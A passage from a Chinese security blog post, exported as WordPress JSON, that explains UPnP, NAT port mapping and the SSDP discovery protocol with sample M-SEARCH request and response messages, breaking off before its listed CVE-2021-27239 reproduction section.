{"id":1021,"date":"2026-03-04T13:54:28","date_gmt":"2026-03-04T05:54:28","guid":{"rendered":"http:\/\/39.104.51.85\/?p=1021"},"modified":"2026-03-04T13:54:30","modified_gmt":"2026-03-04T05:54:30","slug":"iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae","status":"publish","type":"post","link":"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/","title":{"rendered":"IOT\u6f0f\u6d1e\u6316\u6398\u2014\u2014Upnp\u534f\u8bae&amp;SSDP\u534f\u8bae"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_69_1 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >\u5185\u5bb9<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span 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ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#%E5%8D%8F%E8%AE%AE%E4%BB%8B%E7%BB%8D\" title=\"\u534f\u8bae\u4ecb\u7ecd\">\u534f\u8bae\u4ecb\u7ecd<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#UPnP%E8%83%8C%E6%99%AF%E7%9F%A5%E8%AF%86\" title=\"UPnP\u80cc\u666f\u77e5\u8bc6\">UPnP\u80cc\u666f\u77e5\u8bc6<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" 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class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#1%EF%BC%89%E8%AE%BE%E5%A4%87%E6%9F%A5%E8%AF%A2\" title=\"1\uff09\u8bbe\u5907\u67e5\u8be2\">1\uff09\u8bbe\u5907\u67e5\u8be2<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#%E5%93%8D%E5%BA%94%E6%B6%88%E6%81%AF\" title=\"\u54cd\u5e94\u6d88\u606f\">\u54cd\u5e94\u6d88\u606f<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#2%E3%80%81%E8%AE%BE%E5%A4%87%E9%80%9A%E7%9F%A5%E6%B6%88%E6%81%AF\" title=\"2\u3001\u8bbe\u5907\u901a\u77e5\u6d88\u606f\">2\u3001\u8bbe\u5907\u901a\u77e5\u6d88\u606f<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#%EF%BC%881%EF%BC%89ssdp-alive-%E6%B6%88%E6%81%AF\" title=\"\uff081\uff09ssdp:alive \u6d88\u606f\">\uff081\uff09ssdp:alive \u6d88\u606f<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#%EF%BC%882%EF%BC%89ssdp-byebye%E6%B6%88%E6%81%AF\" title=\"\uff082\uff09ssdp:byebye\u6d88\u606f\">\uff082\uff09ssdp:byebye\u6d88\u606f<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#CVE-2021-27239%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0\" title=\"CVE-2021-27239\u6f0f\u6d1e\u590d\u73b0\">CVE-2021-27239\u6f0f\u6d1e\u590d\u73b0<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90\" title=\"\u6f0f\u6d1e\u5206\u6790\">\u6f0f\u6d1e\u5206\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/39.104.51.85\/index.php\/2026\/03\/04\/iot%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98-upnp%e5%8d%8f%e8%ae%aessdp%e5%8d%8f%e8%ae%ae\/#%E6%BC%8F%E6%B4%9E%E9%AA%8C%E8%AF%81\" title=\"\u6f0f\u6d1e\u9a8c\u8bc1\">\u6f0f\u6d1e\u9a8c\u8bc1<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h1 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%8D%8F%E8%AE%AE%E4%BB%8B%E7%BB%8D\"><\/span>\u534f\u8bae\u4ecb\u7ecd<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"UPnP%E8%83%8C%E6%99%AF%E7%9F%A5%E8%AF%86\"><\/span>UPnP<strong>\u80cc\u666f\u77e5\u8bc6<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>UPnP\uff0c Universal Plug and Play\uff0c\u4e2d\u6587\u662f \u201c\u901a\u7528\u5373\u63d2\u5373\u7528\u201d\u3002\u5728\u7406\u89e3 UPnP \u4e4b\u524d\uff0c\u6211\u4eec\u5148\u4e86\u89e3\u4e00\u4e0b\u4f20\u7edf\u7684 PnP \u6280\u672f\uff0c\u56e0\u4e3a UPnP \u662f\u5bf9\u4e8e\u4f20\u7edf PnP\uff08\u5373\u63d2\u5373\u7528\uff09\u6982\u5ff5\u7684\u6269\u5c55\u3002<\/p>\n\n\n\n<p>\u4f20\u7edf\u7684 PnP&nbsp;<strong>\u201c\u5373\u63d2\u5373\u7528\u201d<\/strong>\u662f\u6307 PC \u7535\u8111\u5728\u6dfb\u52a0\u786c\u4ef6\u8bbe\u5907\u65f6\u53ef\u4ee5\u81ea\u52a8\u5904\u7406\u7684\u4e00\u79cd\u6807\u51c6\u3002\u5728 PnP \u6280\u672f\u51fa\u73b0\u4ee5\u524d\uff0c\u5f53\u9700\u8981\u4e3a PC \u7535\u8111\u5b89\u88c5\u65b0\u7684\u786c\u4ef6\uff08\u6bd4\u5982\uff1a\u58f0\u5361\uff0cCD-ROM\uff0c\u6253\u5370\u673a\uff09\u65f6\uff0c\u8fd9\u4e9b\u8bbe\u5907\u9700\u8981\u7528\u5230 PC \u7535\u8111\u7684 DMA \u548c IRQ \u7b49\u8d44\u6e90\uff0c\u4e3a\u4e86\u907f\u514d\u786c\u4ef6\u8bbe\u5907\u5bf9\u8ba1\u7b97\u673a\u8fd9\u4e9b\u8d44\u6e90\u4f7f\u7528\u4e0a\u7684\u51b2\u7a81\uff0c\u6211\u4eec\u5c31\u9700\u8981<strong>\u624b\u5de5\u4e3a\u65b0\u6dfb\u52a0\u7684\u786c\u4ef6\u8bbe\u5907\u8bbe\u7f6e\u4e2d\u65ad\u548c I\/O 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UPnP\uff0c\u5728\u7f51\u7edc\u4e16\u754c\u91cc\uff0c<strong>\u5f53\u4e00\u4e2a\u4e3b\u673a\u52a0\u5165\u7f51\u7edc\u65f6\uff0c\u5176\u884c\u4e3a\u6a21\u5f0f\u8ddf\u6211\u4eec\u4e0a\u8ff0\u7684\u6dfb\u52a0\u548c\u5220\u9664\u8bbe\u5907\u662f\u7c7b\u4f3c\u7684\u3002<\/strong>\u5c24\u5176\u662f\u5728\u79c1\u6709\u7f51\u7edc\u548c\u516c\u7f51\u4ea4\u4e92\u7684\u65f6\u5019\uff0c\u79c1\u6709\u7f51\u7edc\u4e2d\u7684\u4e3b\u673a\u4f7f\u7528\u7684\u662f\u5185\u7f51 IP \u5730\u5740\uff0c\u662f\u65e0\u6cd5\u88ab\u5916\u7f51\u7684\u4e3b\u673a\u76f4\u63a5\u8bbf\u95ee\u7684\u3002\u5fc5\u987b\u501f\u52a9&nbsp;<a href=\"https:\/\/zhida.zhihu.com\/search?content_id=8041370&amp;content_type=Article&amp;match_order=1&amp;q=NAT+%E7%BD%91%E5%85%B3%E8%AE%BE%E5%A4%87&amp;zhida_source=entity\" target=\"_blank\" rel=\"noreferrer noopener\">NAT \u7f51\u5173\u8bbe\u5907<\/a>\uff08\u672c\u5730\u8def\u7531\u5668\uff09\u628a\u5185\u7f51\u5730\u5740\u6620\u5c04\u5230\u7f51\u5173\u7684\u516c\u7f51\u5730\u5740\u4e0a\u3002<\/p>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\u5c31\u662f\uff0c NAT \u7f51\u5173\u8bbe\u5907\u62e5\u6709\u4e00\u4e2a\u516c\u7f51 IP \u5730\u5740\uff08\u6bd4\u5982 10.59.116.19\uff09\uff0c\u5185\u7f51\u4e2d\u7684\u4e3b\u673a\uff08\u6bd4\u5982 192.168.1.101\uff09\u60f3\u8981\u4e0e\u5916\u754c\u901a\u4fe1\u7684\u8bdd\uff0cNAT \u7f51\u5173\u8bbe\u5907\u53ef\u4ee5\u4e3a\u5176\u505a\u4e00\u4e2a\u7aef\u53e3\u6620\u5c04\uff08\u6bd4\u5982\uff1a180.59.116.19 :80 \u2014&gt; 192.168.1.101 :80\uff09\uff0c\u8fd9\u6837\uff0c\u5916\u90e8\u7684\u4e3b\u673a\u53d1\u5f80 NAT \u7f51\u5173\u7684\u6570\u636e\u5305\u90fd\u4f1a\u88ab\u8f6c\u53d1\u7ed9\u5185\u7f51\u7684\u8be5\u4e3b\u673a\uff0c\u4ece\u800c\u5b9e\u73b0\u4e86\u5185\u7f51\u4e2d\u7684\u4e3b\u673a\u4e0e\u5916\u90e8\u4e3b\u673a\u7684\u901a\u4fe1\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/v2-b9a7c969540269a0f1243ad02487c084_1440w.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"650\" height=\"459\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/v2-b9a7c969540269a0f1243ad02487c084_1440w.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1037\"  sizes=\"(max-width: 650px) 100vw, 650px\" \/><\/div><\/figure>\n\n\n\n<p>\u5f53\u5185\u7f51\u4e2d\u7684\u4e3b\u673a\u60f3\u8981\u88ab\u5916\u754c\u4e3b\u673a\u76f4\u63a5\u8bbf\u95ee\uff08\u6bd4\u5982\u5f00\u653e 80 \u7aef\u53e3\uff0c\u5bf9\u5916\u63d0\u4f9b HTTP \u670d\u52a1\uff09\uff0c\u6211\u4eec\u5c31\u9700\u8981\u5728 NAT \u8bbe\u5907\u4e2d\u4e3a\u5f53\u524d\u4e3b\u673a\u624b\u5de5\u914d\u7f6e\u7aef\u53e3\u6620\u5c04\uff0c\u5982\u679c\u5185\u7f51\u4e2d\u6709\u591a\u53f0\u4e3b\u673a\u90fd\u60f3\u8981\u88ab\u5916\u754c\u4e3b\u673a\u76f4\u63a5\u8bbf\u95ee\u7684\u8bdd\uff0c\u6211\u4eec\u5fc5\u987b\u5728\u540c\u4e00\u4e2a NAT \u8bbe\u5907\u4e0a\u4e3a\u8fd9\u4e9b\u4e3b\u673a\u5206\u522b\u505a\u7aef\u53e3\u6620\u5c04\uff0c\u5b83\u4eec\u4e4b\u95f4\u4e0d\u80fd\u4f7f\u7528\u6709\u51b2\u7a81\u7684\u7aef\u53e3\u3002\u8fd9\u4e2a\u8fc7\u7a0b\u9700\u8981\u7528\u6237\u624b\u5de5\u4e00\u4e00\u914d\u7f6e\uff0c\u663e\u7136\u7ed9\u7528\u6237\u5e26\u6765\u4e86\u5f88\u5927\u7684\u9ebb\u70e6\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/v2-c0bea083aa0415c42042f7fe60506640_1440w.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"650\" height=\"457\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/v2-c0bea083aa0415c42042f7fe60506640_1440w.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1038\"  sizes=\"(max-width: 650px) 100vw, 650px\" \/><\/div><\/figure>\n\n\n\n<p>UPnP \u6280\u672f\u6807\u51c6\u7684\u51fa\u73b0\u5c31\u662f\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u53ea\u8981 NAT \u8bbe\u5907\uff08\u8def\u7531\u5668\uff09\u652f\u6301 UPnP\uff0c\u5e76\u5f00\u542f\u3002\u90a3\u4e48\uff0c\u5f53\u6211\u4eec\u7684\u4e3b\u673a\uff08\u6216\u4e3b\u673a\u4e0a\u7684\u5e94\u7528\u7a0b\u5e8f\uff09\u5411 NAT \u8bbe\u5907\u53d1\u51fa\u7aef\u53e3\u6620\u5c04\u8bf7\u6c42\u7684\u65f6\u5019\uff0c<strong>NAT \u8bbe\u5907\u5c31\u53ef\u4ee5\u81ea\u52a8\u4e3a\u4e3b\u673a\u5206\u914d\u7aef\u53e3\u5e76\u8fdb\u884c\u7aef\u53e3\u6620\u5c04<\/strong>\u3002\u8fd9\u6837\uff0c\u6211\u4eec\u7684\u4e3b\u673a\u5c31\u80fd\u591f\u50cf\u516c\u7f51\u4e3b\u673a\u4e00\u6837\u88ab\u7f51\u7edc\u4e2d\u4efb\u4f55\u4e3b\u673a\u8bbf\u95ee\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"UPnP-%E7%9A%84%E5%BA%94%E7%94%A8%E5%9C%BA%E6%99%AF\"><\/span><strong>UPnP \u7684\u5e94\u7528\u573a\u666f<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>UPnP \u5178\u578b\u7684\u5e94\u7528\u573a\u666f\u5c31\u662f\u5bb6\u5ead\u667a\u80fd\u8bbe\u5907\u7684\u4e92\u8054\uff0c\u8fd8\u6709\uff0c\u76ee\u524d\u5728\u7f51\u7edc\u5e94\u7528\u6bd4\u5982&nbsp;<a href=\"https:\/\/zhida.zhihu.com\/search?content_id=8041370&amp;content_type=Article&amp;match_order=1&amp;q=BitTorrent&amp;zhida_source=entity\" target=\"_blank\" rel=\"noreferrer noopener\">BitTorrent<\/a>,&nbsp;<a href=\"https:\/\/zhida.zhihu.com\/search?content_id=8041370&amp;content_type=Article&amp;match_order=1&amp;q=eMule&amp;zhida_source=entity\" target=\"_blank\" rel=\"noreferrer noopener\">eMule<\/a>\uff0c<a href=\"https:\/\/zhida.zhihu.com\/search?content_id=8041370&amp;content_type=Article&amp;match_order=1&amp;q=IPFS&amp;zhida_source=entity\" target=\"_blank\" rel=\"noreferrer noopener\">IPFS<\/a>\uff0c<a href=\"https:\/\/zhida.zhihu.com\/search?content_id=8041370&amp;content_type=Article&amp;match_order=1&amp;q=Ethereum&amp;zhida_source=entity\" target=\"_blank\" rel=\"noreferrer noopener\">Ethereum<\/a>&nbsp;\u7b49\u4f7f\u7528 P2P \u6280\u672f\u7684\u8f6f\u4ef6\uff0cUPnP \u529f\u80fd\u4e3a\u5b83\u4eec\u5e26\u6765\u6781\u5927\u7684\u4fbf\u5229\u3002\u6bd4\u5982\uff1a\u5229\u7528 UPnP \u80fd\u81ea\u52a8\u7684\u628a\u5b83\u4eec\u4fa6\u542c\u7684\u7aef\u53e3\u53f7\u6620\u5c04\u5230\u516c\u7f51\u5730\u5740\u4e0a\uff0c\u8fd9\u6837\uff0c\u516c\u7f51\u4e0a\u7684\u7528\u6237\u4e5f\u80fd\u5bf9\u5f53\u524d\u7684 NAT \u5185\u7f51\u4e3b\u673a\u76f4\u63a5\u53d1\u8d77\u8fde\u63a5\u3002<\/p>\n\n\n\n<p>\u5b9e\u73b0 UPnP \u5fc5\u987b\u540c\u65f6\u6ee1\u8db3\u4e09\u4e2a\u6761\u4ef6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>NAT \u7f51\u5173\u8bbe\u5907\u5fc5\u987b\u652f\u6301 UPnP \u529f\u80fd\uff1b\u8fd9\u662f\u56e0\u4e3a\u5b83\u9700\u8981\u626e\u6f14\u63a7\u5236\u70b9\uff08239.255.255.250:1900\uff09\u7684\u89d2\u8272\uff0c\u63a7\u5236\u70b9\u63d0\u4f9b\u7684\u662f\u00a0<a href=\"https:\/\/zhida.zhihu.com\/search?content_id=8041370&amp;content_type=Article&amp;match_order=1&amp;q=SSDP&amp;zhida_source=entity\" target=\"_blank\" rel=\"noreferrer noopener\">SSDP<\/a>\u00a0\u670d\u52a1\u3002<\/li>\n\n\n\n<li>\u64cd\u4f5c\u7cfb\u7edf\u5fc5\u987b\u652f\u6301 UPnP \u529f\u80fd\uff1b\u6bd4\u5982 Windows \u7cfb\u5217\u64cd\u4f5c\u7cfb\u7edf\uff1b<\/li>\n\n\n\n<li>\u5e94\u7528\u7a0b\u5e8f\u5fc5\u987b\u652f\u6301 UPnP \u529f\u80fd\uff1b\u6bd4\u5982 Bt\u3001eMule\u3001IPFS, Ethereum \u7b49\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u4ee5\u4e0a\u4e09\u4e2a\u6761\u4ef6\u5fc5\u987b\u540c\u65f6\u6ee1\u8db3\uff0c\u7f3a\u4e00\u4e0d\u53ef\u3002<\/p>\n\n\n\n<p><strong>\u6ce8\uff1a<\/strong>\u5927\u591a\u6570\u8def\u7531\u5668\u90fd\u662f\u652f\u6301 UPnP \u7684\uff0c\u6709\u7684\u662f\u9ed8\u8ba4\u5f00\u542f\uff0c\u6709\u7684\u9700\u8981\u624b\u5de5\u5f00\u542f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/v2-0640425d49c52e1aa83870111a608cb2_1440w.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"190\" height=\"144\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/v2-0640425d49c52e1aa83870111a608cb2_1440w.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1039\" style=\"width:500px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SSDP-%E5%8D%8F%E8%AE%AE\"><\/span><strong>SSDP \u534f\u8bae<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u4ecb\u7ecd\u5b8c\u4e86 UPnP \u7684\u6982\u51b5\uff0c\u4e3a\u4e86\u5b8c\u6574\u6027\uff0c\u73b0\u5728\u518d\u4ecb\u7ecd\u4e00\u4e0b UPnP \u89c4\u8303\u4e0b\u7684 SSDP \u534f\u8bae\u3002<\/p>\n\n\n\n<p>SSDP \u5168\u79f0\u662f Simple Service Discover Protocol \u7b80\u5355\u670d\u52a1\u53d1\u73b0\u534f\u8bae\uff0c\u8fd9\u4e2a\u534f\u8bae\u662f UPnP \u7684\u6838\u5fc3\uff0c\u5728 UPnP \u4e2d\u5b9a\u4e49\u4e86\u4e00\u7ec4\u534f\u8bae\u6846\u67b6\uff0c\u5176\u4e2d\u6709\u63a7\u5236\u70b9\uff0c\u6839\u8bbe\u5907\u7b49\u6982\u5ff5\uff0cUPnP \u8bbe\u5907\u901a\u8fc7 SSDP \u534f\u8bae\u4e0e\u6839\u8bbe\u5907\uff08\u7528\u6237\u8bbe\u5907\uff09\u8fdb\u884c\u4ea4\u4e92\u3002SSDP \u662f\u5e94\u7528\u5c42\u534f\u8bae\uff0c\u4f7f\u7528 HTTPU \u548c HTTPMU \u89c4\u8303\uff0c\u57fa\u4e8e UDP \u7aef\u53e3\u8fdb\u884c\u901a\u4fe1\u3002<\/p>\n\n\n\n<p>SSDP \u4f7f\u7528\u4e00\u4e2a\u56fa\u5b9a\u7684\u7ec4\u64ad\u5730\u5740&nbsp;<code>239.255.255.250<\/code>&nbsp;\u548c UDP \u7aef\u53e3\u53f7&nbsp;<code>1900<\/code>&nbsp;\u6765\u76d1\u542c\u5176\u4ed6\u8bbe\u5907\u7684\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>SSDP \u534f\u8bae\u7684\u8bf7\u6c42\u6d88\u606f\u6709\u4e24\u79cd\u7c7b\u578b\uff0c\u7b2c\u4e00\u79cd\u662f\u670d\u52a1\u901a\u77e5\uff0c\u8bbe\u5907\u548c\u670d\u52a1\u4f7f\u7528\u6b64\u7c7b\u901a\u77e5\u6d88\u606f\u58f0\u660e\u81ea\u5df1\u5b58\u5728\uff1b\u7b2c\u4e8c\u79cd\u662f\u67e5\u8be2\u8bf7\u6c42\uff0c\u534f\u8bae\u5ba2\u6237\u7aef\u7528\u6b64\u8bf7\u6c42\u67e5\u8be2\u67d0\u79cd\u7c7b\u578b\u7684\u8bbe\u5907\u548c\u670d\u52a1\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1%EF%BC%89%E8%AE%BE%E5%A4%87%E6%9F%A5%E8%AF%A2\"><\/span><strong>1\uff09\u8bbe\u5907\u67e5\u8be2<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u5f53\u4e00\u4e2a\u5ba2\u6237\u7aef\u63a5\u5165\u7f51\u7edc\u7684\u65f6\u5019\uff0c\u5b83\u53ef\u4ee5\u5411\u4e00\u4e2a\u7279\u5b9a\u7684\u591a\u64ad\u5730\u5740\u7684 SSDP \u7aef\u53e3\u4f7f\u7528&nbsp;<code>M-SEARCH<\/code>&nbsp;\u65b9\u6cd5\u53d1\u9001 \u201cssdp:discover\u201d \u6d88\u606f\u3002\u5f53\u8bbe\u5907\u76d1\u542c\u5230\u8fd9\u4e2a\u4fdd\u7559\u7684\u591a\u64ad\u5730\u5740\u4e0a\u7531\u63a7\u5236\u70b9\u53d1\u9001\u7684\u6d88\u606f\u7684\u65f6\u5019\uff0c\u8bbe\u5907\u5c06\u901a\u8fc7\u5355\u64ad\u7684\u65b9\u5f0f\u76f4\u63a5\u54cd\u5e94\u63a7\u5236\u70b9\u7684\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>\u5178\u578b\u7684\u8bbe\u5907\u67e5\u8be2\u8bf7\u6c42\u6d88\u606f\u683c\u5f0f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>M-SEARCH * HTTP\/1.1\nHOST: 239.255.255.250:1900\nMAN: \"ssdp:discover\"\nST: urn:schemas-upnp-org:device:InternetGatewayDevice:1   # \u67e5\u8be2\u7684\u8bbe\u5907\u7c7b\u578b\u6216\u670d\u52a1\u7c7b\u578b\nMX: 3<\/code><\/pre>\n\n\n\n<p>\u5176\u4e2d\uff0cM-SEARCH\u8868\u793a\u591a\u64ad\u641c\u7d22\u8bf7\u6c42\uff0c*\u8868\u793a\u641c\u7d22\u5168\u5c40\u8303\u56f4\u5185\u6240\u6709\u8bbe\u5907\u3002HOST\u6307\u5b9a\u4e86\u76ee\u7684\u5730\u5730\u5740\u548c\u7aef\u53e3\uff0cSSDP\u534f\u8bae\u9ed8\u8ba4\u4f7f\u7528239.255.255.250:1900\u8fdb\u884c\u591a\u64ad\u641c\u7d22\u3002MAN\u8868\u793a\u641c\u7d22\u7c7b\u578b\uff0cssdp:discover\u8868\u793a\u7b80\u5355\u670d\u52a1\u53d1\u73b0\u673a\u5236\u3002ST\u8868\u793a\u641c\u7d22\u76ee\u6807\uff0c\u5373\u8bbe\u5907\u6216\u670d\u52a1\u7c7b\u578b\uff0c\u8fd9\u91cc\u6307\u5b9a\u4e86\u4e00\u4e2a\u7279\u6b8a\u7684\u8bbe\u5907\u7c7b\u578bInternetGatewayDevice\u3002MX\u8868\u793a\u6700\u5927\u54cd\u5e94\u7b49\u5f85\u65f6\u95f4\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%93%8D%E5%BA%94%E6%B6%88%E6%81%AF\"><\/span><strong>\u54cd\u5e94\u6d88\u606f<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u54cd\u5e94\u6d88\u606f\u5e94\u8be5\u5305\u542b\u670d\u52a1\u7684\u4f4d\u7f6e\u4fe1\u606f\uff08Location \u6216AL\u5934\uff09\uff0cST\u548cUSN\u5934\u3002\u54cd\u5e94\u6d88\u606f\u5e94\u8be5\u5305\u542bcache\u63a7\u5236\u4fe1\u606f\uff08max-age \u6216\u8005 Expires\u5934\uff09\u3002<\/p>\n\n\n\n<p>\u5178\u578b\u7684\u54cd\u5e94\u6d88\u606f\u683c\u5f0f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nCACHE-CONTROL: max-age=1800\nDATE: Fri, 16 Apr 2021 07:54:52 GMT\nEXT:\nLOCATION: http:\/\/192.168.1.1:80\/rootDesc.xml\nSERVER: Linux\/2.4.17 UPnP\/1.0 miniupnpd\/1.7\nST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\nUSN: 